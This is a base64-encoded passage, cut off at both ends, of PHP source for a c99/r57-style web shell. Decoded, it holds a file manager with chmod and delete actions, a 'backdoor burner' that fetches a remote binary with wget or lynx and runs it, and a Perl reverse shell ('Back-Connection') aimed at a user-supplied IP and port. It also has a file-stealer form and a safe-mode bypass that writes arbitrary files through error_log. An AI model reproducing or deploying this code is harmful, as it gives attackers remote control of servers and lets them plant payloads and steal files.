3dbXSA9ICI8Yj5QZXJtczwvYj4iOwogICAkcm93W10gPSAiPGI+QWN0aW9uPC9iPiI7CiAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHNvcnQpOwogICAkc29ydCA9ICRwYXJzZXNvcnRbMF0uJHBhcnNlc29ydFsxXTsKICAgJGsgPSAkcGFyc2Vzb3J0WzBdOwogICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskcGFyc2Vzb3J0WzFdID0gImQiO30KICAgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kay4oJHBhcnNlc29ydFsxXSA9PSAiYSI/ImQiOiJhIikuIlwiPiI7CiAgICR5IC49ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNvcnRfIi4oJHNvcnRbMV0gPT0gImEiPyJhc2MiOiJkZXNjIikuIlwiIGhlaWdodD1cIjlcIiB3aWR0aD1cIjE0XCIgYWx0PVwiIi4oJHBhcnNlc29ydFsxXSA9PSAiYSI/IkFzYy4iOiJEZXNjIikuIlwiIGJvcmRlcj1cIjBcIj48L2E+IjsKICAgJHJvd1ska10gLj0gJHk7CiAgIGZvcigkaT0wOyRpPGNvdW50KCRyb3cpLTE7JGkrKykKICAgewogICAgaWYgKCRpICE9ICRrKSB7JHJvd1skaV0gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnNvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj4iLiRyb3dbJGldLiI8L2E+Ijt9CiAgIH0KICAgJHYgPSAkcGFyc2Vzb3J0WzBdOwogICB1c29ydCgkb2JqZWN0c1siZm9sZGVycyJdLCAidGFic29ydCIpOwogICB1c29ydCgkb2JqZWN0c1sibGlua3MiXSwgInRhYnNvcnQiKTsKICAgdXNvcnQoJG9iamVjdHNbImZpbGVzIl0sICJ0YWJzb3J0Iik7CiAgIGlmICgkcGFyc2Vzb3J0WzFdID09ICJkIikKICAgewogICAgJG9iamVjdHNbImZvbGRlcnMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZvbGRlcnMiXSk7CiAgICAkb2JqZWN0c1siZmlsZXMiXSA9IGFycmF5X3JldmVyc2UoJG9iamVjdHNbImZpbGVzIl0pOwogICB9CiAgICRvYmplY3RzID0gYXJyYXlfbWVyZ2UoJG9iamVjdHNbImhlYWQiXSwkb2JqZWN0c1siZm9sZGVycyJdLCRvYmplY3RzWyJsaW5rcyJdLCRvYmplY3RzWyJmaWxlcyJdKTsKICAgJHRhYiA9IGFycmF5KCk7CiAgICR0YWJbImNvbHMiXSA9IGFycmF5KCRyb3cpOwogICAkdGFiWyJoZWFkIl0gPSBhcnJheSgpOwogICAkdGFiWyJmb2xkZXJzIl0gPSBhcnJheSgpOwogICAkdGFiWyJsaW5rcyJdID0gYXJyYXkoKTsKICAgJHRhYlsiZmlsZXMiXSA9IGFycmF5KCk7CiAgICRpID0gMDsKICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGEpCiAgIHsKICAgICR2ID0gJGFbMF07CiAgICAkbyA9IGJhc2VuYW1lKCR2KTsKICAgICRkaXIgPSBkaXJuYW1lKCR2KTsKICAgIGlmICgkZGlzcF9mdWxscGF0aCkgeyRkaXNwcGF0aCA9ICR2O30KICAgIGVsc2UgeyRkaXNwcGF0aCA9ICRvO30KICAgICRkaXNwcGF0aCA9IHN0cjJtaW5pKCRkaXNwcGF0aCw2MCk7CiAgICBpZiAoaW5fYXJyYXkoJHYsJHNlc3NfZGF0YVsiY3V0Il0pKSB7JGRpc3BwYXRoID0gIjxzdHJpa2U+Ii4kZGlzcHBhdGguIjwvc3RyaWtlPiI7fQogICAgZWxzZWlmIChpbl9hcnJheSgkdiwkc2Vzc19kYXRhWyJjb3B5Il0pKSB7JGRpc3BwYXRoID0gIjx1PiIuJGRpc3BwYXRoLiI8L3U+Ijt9CiAgICBmb3JlYWNoICgkcmVneHBfaGlnaGxpZ2h0IGFzICRyKQogICAgewogICAgIGlmIChlcmVnKCRyWzBdLCRvKSkKICAgICB7CiAgICAgIGlmICgoIWlzX251bWVyaWMoJHJbMV0pKSBvciAoJHJbMV0gPiAzKSkgeyRyWzFdID0gMDsgb2JfY2xlYW4oKTsgZWNobyAiV2FybmluZyEgQ29uZmlndXJhdGlvbiBlcnJvciBpbiBcJHJlZ3hwX2hpZ2hsaWdodFsiLiRrLiJdWzBdIC0gdW5rbm93biBjb21tYW5kLiI7IGM5OXNoZXhpdCgpO30KICAgICAgZWxzZQogICAgICB7CiAgICAgICAkclsxXSA9IHJvdW5kKCRyWzFdKTsKICAgICAgICRpc2RpciA9IGlzX2Rpcigkdik7CiAgICAgICBpZiAoKCRyWzFdID09IDApIG9yICgoJHJbMV0gPT0gMSkgYW5kICEkaXNkaXIpIG9yICgoJHJbMV0gPT0gMikgYW5kICEkaXNkaXIpKQogICAgICAgewogICAgICAgIGlmIChlbXB0eSgkclsyXSkpIHskclsyXSA9ICI8Yj4iOyAkclszXSA9ICI8L2I+Ijt9CiAgICAgICAgJGRpc3BwYXRoID0gJHJbMl0uJGRpc3BwYXRoLiRyWzNdOwogICAgICAgIGlmICgkcls0XSkge2JyZWFrO30KICAgICAgIH0KICAgICAgfQogICAgIH0KICAgIH0KICAgICR1byA9IHVybGVuY29kZSgkbyk7CiAgICAkdWQgPSB1cmxlbmNvZGUoJGRpcik7CiAgICAkdXYgPSB1cmxlbmNvZGUoJHYpOwogICAgJHJvdyA9IGFycmF5KCk7CiAgICBpZiAoJG8gPT0gIi4iKQogICAgewogICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXNtYWxsX2RpclwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUocmVhbHBhdGgoJGQuJG8pKS4iJnNvcnQ9Ii4kc29ydC4iXCI+Ii4kby4iPC9hPiI7CiAgICAgJHJvd1tdID0gIkxJTksiOwogICAgfQogICAgZWxzZWlmICgkbyA9PSAiLi4iKQogICAgewogICAgICRyb3dbXSA9ICI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9sbmtcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKHJlYWxwYXRoKCRkLiRvKSkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuJG8uIjwvYT4iOwogICAgICRyb3dbXSA9ICJMSU5LIjsKICAgIH0KICAgIGVsc2VpZiAoaXNfZGlyKCR2KSkKICAgIHsKICAgICBpZiAoaXNfbGluaygkdikpCiAgICAgewogICAgICAkZGlzcHBhdGggLj0gIiA9PiAiLnJlYWRsaW5rKCR2KTsKICAgICAgJHR5cGUgPSAiTElOSyI7CiAgICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfbG5rXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE2XCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9bHMmZD0iLiR1di4iJnNvcnQ9Ii4kc29ydC4iXCI+WyIuJGRpc3BwYXRoLiJdPC9hPiI7CiAgICAgfQogICAgIGVsc2UKICAgICB7CiAgICAgICR0eXBlID0gIkRJUiI7CiAgICAgICRyb3dbXSA9ICAiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zbWFsbF9kaXJcIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTlcIiBib3JkZXI9XCIwXCI+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1scyZkPSIuJHV2LiImc29ydD0iLiRzb3J0LiJcIj5bIi4kZGlzcHBhdGguIl08L2E+IjsKICAgICAgfQogICAgICRyb3dbXSA9ICR0eXBlOwogICAgfQogICAgZWxzZWlmKGlzX2ZpbGUoJHYpKQogICAgewogICAgICRleHQgPSBleHBsb2RlKCIuIiwkbyk7CiAgICAgJGMgPSBjb3VudCgkZXh0KS0xOwogICAgICRleHQgPSAkZXh0WyRjXTsKICAgICAkZXh0ID0gc3RydG9sb3dlcigkZXh0KTsKICAgICAkcm93W10gPSAgIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOzxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIuJHVvLiImZD0iLiR1ZC4iJlwiPiIuJGRpc3BwYXRoLiI8L2E+IjsKICAgICAkcm93W10gPSB2aWV3X3NpemUoJGFbMV0pOwogICAgfQogICAgJHJvd1tdID0gZGF0ZSgiZC5tLlkgSDppOnMiLCRhWzJdKTsKICAgIGlmICghJHdpbikgeyRyb3dbXSA9ICRhWzNdO30KICAgICRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmY9Ii4kdW8uIiZkPSIuJHVkLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJHYpLiI8L2I+PC9hPiI7CiAgICBpZiAoJG8gPT0gIi4iKSB7JGNoZWNrYm94ID0gIjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYWN0Ym94W11cIiBvbmNsaWNrPVwibHNfcmV2ZXJzZV9hbGwoKTtcIj4iOyAkaS0tO30KICAgIGVsc2UgeyRjaGVja2JveCA9ICI8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImFjdGJveFtdXCIgaWQ9XCJhY3Rib3giLiRpLiJcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdikuIlwiPiI7fQogICAgaWYgKGlzX2RpcigkdikpIHskcm93W10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1kJmQ9Ii4kdXYuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGFsdD1cIkluZm9cIiBoZWlnaHQ9XCIxNlwiIHdpZHRoPVwiMTZcIiBib3JkZXI9XCIwXCI+PC9hPiZuYnNwOyIuJGNoZWNrYm94O30KICAgIGVsc2UgeyRyb3dbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWluZm8mZD0iLiR1ZC4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZGl6XCIgYWx0PVwiSW5mb1wiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxNlwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii4kdW8uIiZmdD1lZGl0JmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Y2hhbmdlXCIgYWx0PVwiQ2hhbmdlXCIgaGVpZ2h0PVwiMTZcIiB3aWR0aD1cIjE5XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDs8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLiR1by4iJmZ0PWRvd25sb2FkJmQ9Ii4kdWQuIlwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZG93bmxvYWRcIiBhbHQ9XCJEb3dubG9hZFwiIGhlaWdodD1cIjE2XCIgd2lkdGg9XCIxOVwiIGJvcmRlcj1cIjBcIj48L2E+Jm5ic3A7Ii4kY2hlY2tib3g7fQogICAgaWYgKCgkbyA9PSAiLiIpIG9yICgkbyA9PSAiLi4iKSkgeyR0YWJbImhlYWQiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2xpbmsoJHYpKSB7JHRhYlsibGlua3MiXVtdID0gJHJvdzt9CiAgICBlbHNlaWYgKGlzX2RpcigkdikpIHskdGFiWyJmb2xkZXJzIl1bXSA9ICRyb3c7fQogICAgZWxzZWlmIChpc19maWxlKCR2KSkgeyR0YWJbImZpbGVzIl1bXSA9ICRyb3c7fQogICAgJGkrKzsKICAgfQogIH0KICAvLyBDb21waWxpbmcgdGFibGUKICAkdGFibGUgPSBhcnJheV9tZXJnZSgkdGFiWyJjb2xzIl0sJHRhYlsiaGVhZCJdLCR0YWJbImZvbGRlcnMiXSwkdGFiWyJsaW5rcyJdLCR0YWJbImZpbGVzIl0pOwogIGVjaG8gIjxjZW50ZXI+PGI+TGlzdGluZyBmb2xkZXIgKCIuY291bnQoJHRhYlsiZmlsZXMiXSkuIiBmaWxlcyBhbmQgIi4oY291bnQoJHRhYlsiZm9sZGVycyJdKStjb3VudCgkdGFiWyJsaW5rcyJdKSkuIiBmb2xkZXJzKTo8L2I+PC9jZW50ZXI+PGJyPjxUQUJMRSBjZWxsU3BhY2luZz0wIGNlbGxQYWRkaW5nPTAgd2lkdGg9MTAwJSBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jNDMzMzMzIGJvcmRlcj0wPjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUIG5hbWU9XCJsc19mb3JtXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSIuJGRzcGFjdC4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9Ii4kZC4iPiI7CiAgZm9yZWFjaCgkdGFibGUgYXMgJHJvdykKICB7CiAgIGVjaG8gIjx0cj5cclxuIjsKICAgZm9yZWFjaCgkcm93IGFzICR2KSB7ZWNobyAiPHRkPiIuJHYuIjwvdGQ+XHJcbiI7fQogICBlY2hvICI8L3RyPlxyXG4iOwogIH0KICBlY2hvICI8L3RhYmxlPjxociBzaXplPVwiMVwiIG5vc2hhZGU+PHAgYWxpZ249XCJyaWdodFwiPgogIDxzY3JpcHQ+CiAgZnVuY3Rpb24gbHNfc2V0Y2hlY2tib3hhbGwoc3RhdHVzKQogIHsKICAgdmFyIGlkID0gMTsKICAgdmFyIG51bSA9ICIuKGNvdW50KCR0YWJsZSktMikuIjsKICAgd2hpbGUgKGlkIDw9IG51bSkKICAgewogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGJveCcraWQpLmNoZWNrZWQgPSBzdGF0dXM7CiAgICBpZCsrOwogICB9CiAgfQogIGZ1bmN0aW9uIGxzX3JldmVyc2VfYWxsKCkKICB7CiAgIHZhciBpZCA9IDE7CiAgIHZhciBudW0gPSAiLihjb3VudCgkdGFibGUpLTIpLiI7CiAgIHdoaWxlIChpZCA8PSBudW0pCiAgIHsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkID0gIWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rib3gnK2lkKS5jaGVja2VkOwogICAgaWQrKzsKICAgfQogIH0KICA8L3NjcmlwdD4KICA8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbCh0cnVlKTtcIiB2YWx1ZT1cIlNlbGVjdCBhbGxcIj4mbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT1cImJ1dHRvblwiIG9uY2xpY2s9XCJsc19zZXRjaGVja2JveGFsbChmYWxzZSk7XCIgdmFsdWU9XCJVbnNlbGVjdCBhbGxcIj4gIAogIDxiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YXJyb3dfbHRyXCIgYm9yZGVyPVwiMFwiPiI7CiAgaWYgKGNvdW50KGFycmF5X21lcmdlKCRzZXNzX2RhdGFbImNvcHkiXSwkc2Vzc19kYXRhWyJjdXQiXSkpID4gMCBhbmQgKCR1c2Vmc2J1ZmYpKQogIHsKICAgZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9YWN0YXJjYnVmZiB2YWx1ZT1cIlBhY2sgYnVmZmVyIHRvIGFyY2hpdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiYWN0YXJjYnVmZl9wYXRoXCIgdmFsdWU9XCJhcmNoaXZlXyIuc3Vic3RyKG1kNShyYW5kKDEsMTAwMCkucmFuZCgxLDEwMDApKSwwLDUpLiIudGFyLmd6XCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RwYXN0ZWJ1ZmZcIiB2YWx1ZT1cIlBhc3RlXCI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9XCJhY3RlbXB0eWJ1ZmZcIiB2YWx1ZT1cIkVtcHR5IGJ1ZmZlclwiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7CiAgfQogIGVjaG8gIjxzZWxlY3QgbmFtZT1hY3Q+PG9wdGlvbiB2YWx1ZT1cIiIuJGFjdC4iXCI+V2l0aCBzZWxlY3RlZDo8L29wdGlvbj4iOwogIGVjaG8gIjxvcHRpb24gdmFsdWU9ZGVsZXRlIi4oJGRzcGFjdCA9PSAiZGVsZXRlIj8iIHNlbGVjdGVkIjoiIikuIj5EZWxldGU8L29wdGlvbj4iOwogIGVjaG8gIjxvcHRpb24gdmFsdWU9Y2htb2QiLigkZHNwYWN0ID09ICJjaG1vZCI/IiBzZWxlY3RlZCI6IiIpLiI+Q2hhbmdlLW1vZGU8L29wdGlvbj4iOwogIGlmICgkdXNlZnNidWZmKQogIHsKICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1jdXQiLigkZHNwYWN0ID09ICJjdXQiPyIgc2VsZWN0ZWQiOiIiKS4iPkN1dDwvb3B0aW9uPiI7CiAgIGVjaG8gIjxvcHRpb24gdmFsdWU9Y29weSIuKCRkc3BhY3QgPT0gImNvcHkiPyIgc2VsZWN0ZWQiOiIiKS4iPkNvcHk8L29wdGlvbj4iOwogICBlY2hvICI8b3B0aW9uIHZhbHVlPXVuc2VsZWN0Ii4oJGRzcGFjdCA9PSAidW5zZWxlY3QiPyIgc2VsZWN0ZWQiOiIiKS4iPlVuc2VsZWN0PC9vcHRpb24+IjsKICB9CiAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiQ29uZmlybVwiPjwvcD4iOwogIGVjaG8gIjwvZm9ybT4iOwp9Cn0KaWYgKCRhY3QgPT0gInRvb2xzIikKewoKCgoKCgo/Pgo8VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjExNiIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHAgYWxpZ249ImNlbnRlciI+PGI+OjogPGEgaHJlZj0iPD9waHAgZWNobyAkc3VybDsgPz5hY3Q9Y21kJmQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGQpOyA/PiI+PGI+QmluZCBGdW5jdGlvbnMgQnkgcjU3ICA8L2I+PC9hPiA6OjwvYj48L3A+PC90ZD48L3RyPgo8dHI+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICAgPGRpdiBhbGlnbj0iY2VudGVyIj4KICAgIDwvZGl2Pgo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij4KPGI+QmluZCBXaXRoIEJhY2tkMDByIEJ1cm5lcjwvYj48L2JyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDs/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRvb2xzPjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPWRvbG1hPjxvcHRpb24gdmFsdWU9IndnZXRjYW4iPlVzZSBXZ2V0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibHlueGNhbiI+VXNlIGx5bnggLWR1bXA8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJmcmVhZGNhbiI+VXNlIEZyZWFkPC9vcHRpb24+PC9zZWxlY3Q+PC9icj48L2JyPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCdXJuIGl0IGJBYnkiPjwvZm9ybT4KICAgIDwvdGQ+CiAgPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPgogICA8Y2VudGVyPgogIAoKICAgPGI+QmFjay1Db25uZWN0aW9uIDo8L2I+PC9icj48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7Pz4iPiA8Yj5JcCAoZGVmYXVsdCBpcyB5b3VyIGlwKSA6PC9icj4gPC9iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXBpIiB2YWx1ZT0iPD9lY2hvIGdldGVudignUkVNT1RFX0FERFInKTs/PiI+PC9icj48Yj5Qb3J0OjwvYnI+PC9iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwaXBpIiB2YWx1ZT0iNDM5MiI+PC9icj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQzBubmVjdCAtPiI+PC9icj48L2Zvcm0+CkNsaWNrICJDb25uZWN0IiBvbmx5IGFmdGVyIG9wZW4gcG9ydCBmb3IgaXQuIFlvdSBzaG91bGQgdXNlIE5ldENhdCZjb3B5OywgcnVuICI8Yj5uYyAtbCAtbiAtdiAtcCA8P3BocCBlY2hvICRiY19wb3J0OyA/PjwvYj4iITxicj48YnI+CiAgIAogICA8L2NlbnRlcj4KICAgIDwvdGQ+CjwvdHI+PC9UQUJMRT4KCgoKCgoKCjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMTE2IiB3aWR0aD0iMTAwJSIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4KPHRyPjx0ZCBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cCBhbGlnbj0iY2VudGVyIj48Yj46OiA8YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PmFjdD1jbWQmZD08P3BocCBlY2hvIHVybGVuY29kZSgkZCk7ID8+Ij48Yj5GaWxlIFN0ZWFsZXIgRnVuY3Rpb24gUmlwcGVkIGZSb20gVG9udG9ucSAncyBGaWxlIFN0ZWFsZXIgLi4uIDwvYj48L2E+IDo6PC9iPjwvcD48L3RkPjwvdHI+Cjx0cj4KICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSI4MyIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+CiAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPjxiPlNhZmVfTW9kZSBCeXBhc3M8L2I+CiAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9IlBPU1QiPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRvb2xzPgogICAgPHRleHRhcmVhIG5hbWU9ImVyb3JyIiBjb2xzPTEwMCByb3dzPTEwPjwvdGV4dGFyZWE+PC9icj4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXJlIiB2YWx1ZT0iPD9lY2hvICIkcmVhbFxpbmRleC5waHAiOz8+ICJzaXplPTg0PgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IldyaXRlIDIgRmlsZSAhISI+CiAgICAKICAgIDwvZm9ybT4KICAgIAogICAgCiAgICAKICAgIAogICAgCiAgICAKICAgIAogICAgCiAgICAKICAgIAogICAgCiAgICA8L2Rpdj4KCiAgICA8L3RkPgogIDx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj4KICAgPGNlbnRlcj4KICAgPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPSJQT1NUIj4KICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXRvb2xzPgogICBEb3N5YW5pbiBBZHJlc2kgPyA9IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkb3N5YWEiIHNpemU9IjgxIiBtYXhsZW5ndGg9NTAwICB2YWx1ZT0iIj48YnI+PGJyPgpOZXJleWEgS2F5ZG9sY2FrPyA9IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ5ZW5peWVyIiBzaXplPTgxIG1heGxlbmd0aD0xOTEgdmFsdWU9Ijw/cGhwIGVjaG8gIiRyZWFsL3NwbG9pdHouemlwIjsgPz4iPjxicj48YnI+CjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3RlYWx0aFN1Ym1pdCcgVmFsdWU9J0Rvc3lheWkgQ2hlayc+CjwvZm9ybT4KPGJyPjxicj48YnI+CiAgIAogICAKICAgCiAgIAogICA8L2NlbnRlcj4KICAgCiAgIDwvY2VudGVyPgogICAgPC90ZD4KPC90cj48L1RBQkxFPgoKCgoKCgoKCgoKCgo8P3BocAoKaWYgKGlzc2V0KCRfUE9TVFsnZG9zeWFhJ10pKQp7CmRvc3lheWljZWsoJF9QT1NUWydkb3N5YWEnXSwkX1BPU1RbJ3llbml5ZXInXSk7Cgp9CmlmICghZW1wdHkoJF9HRVRbJ2lwaSddKSAmJiAhZW1wdHkoJF9HRVRbJ3BpcGknXSkpCnsKY2YoIi90bXAvYmFjayIsJGJhY2tfY29ubmVjdCk7CiRwMj13aGljaCgicGVybCIpOwokYmxhaCA9IGV4KCRwMi4iIC90bXAvYmFjayAiLiRfR0VUWydpcGknXS4iICIuJF9HRVRbJ3BpcGknXS4iICYiKTsKZWNobyI8Yj5Ob3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9HRVRbJ2lwaSddLiIgcG9ydCAiLiRfR0VUWydwaXBpJ10uIiAuLi48L2I+IjsKfQppZiAoIWVtcHR5KCRfR0VUWydkb2xtYSddKSkKeyAgCiRzYXlrbz1odG1sc3BlY2lhbGNoYXJzKCRfR0VUWydkb2xtYSddKTsKaWYgKCRzYXlrbyA9PSAid2dldGNhbiIpCnsKCm15c2hlbGxleGVjKCJ3Z2V0ICRhZGlyZXMgLU8gc2F5a29fYmluZDtjaG1vZCA3Nzcgc2F5a29fYmluZDsuL3NheWtvX2JpbmQiKTsKCgp9CgplbHNlIGlmICgkc2F5a28gPT0iZnJlYWRjYW4iKQp7CmRvc3lheWljZWsoJGFkaXJlcywic2F5a29fYmluZCIpOwpteXNoZWxsZXhlYygiLi9zYXlrb19iaW5kIik7Cn0KCmVsc2UgaWYgKCRzYXlrbyA9PSAibHlueGNhbiIpCnsKbXlzaGVsbGV4ZWMoImx5bnggLWR1bXAgJGFkaXJlcyA+IHNheWtvX2JpbmQ7Y2htb2QgNzc3IHNheWtvX2JpbmQ7Li9zYXlrb19iaW5kIik7Cgp9CgoKCgoKfQoKaWYgICghZW1wdHkoJF9QT1NUWydlcm9yciddKSkKewoKCgplcnJvcl9sb2coJF9QT1NUWydlcm9yciddLCAzLCAicGhwOi8vIi4kX1BPU1RbJ25lcmUnXSk7CgoKCn0KCgoKCgoKCgoKfQppZiAoJGFjdCA9PSAicHJvY2Vzc2VzIikKewplY2hvICI8Yj5Qcm9jZXNzZXM6PC9iPjxicj4iOwppZiAoISR3aW4pIHskaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTt9CmVsc2UgeyRoYW5kbGVyID0gInRhc2tsaXN0Ijt9CiRyZXQgPSBteXNoZWxsZXhlYygkaGFuZGxlcik7CmlmICghJHJldCkge2VjaG8gIkNhbid0IGV4ZWN1dGUgXCIiLiRoYW5kbGVyLiJcIiEiO30KZWxzZQp7CiAgaWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpIHskcHJvY2Vzc2VzX3NvcnQgPSAkc29ydF9kZWZhdWx0O30KICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRwcm9jZXNzZXNfc29ydCk7CiAgaWYgKCFpc19udW1lcmljKCRwYXJzZXNvcnRbMF0pKS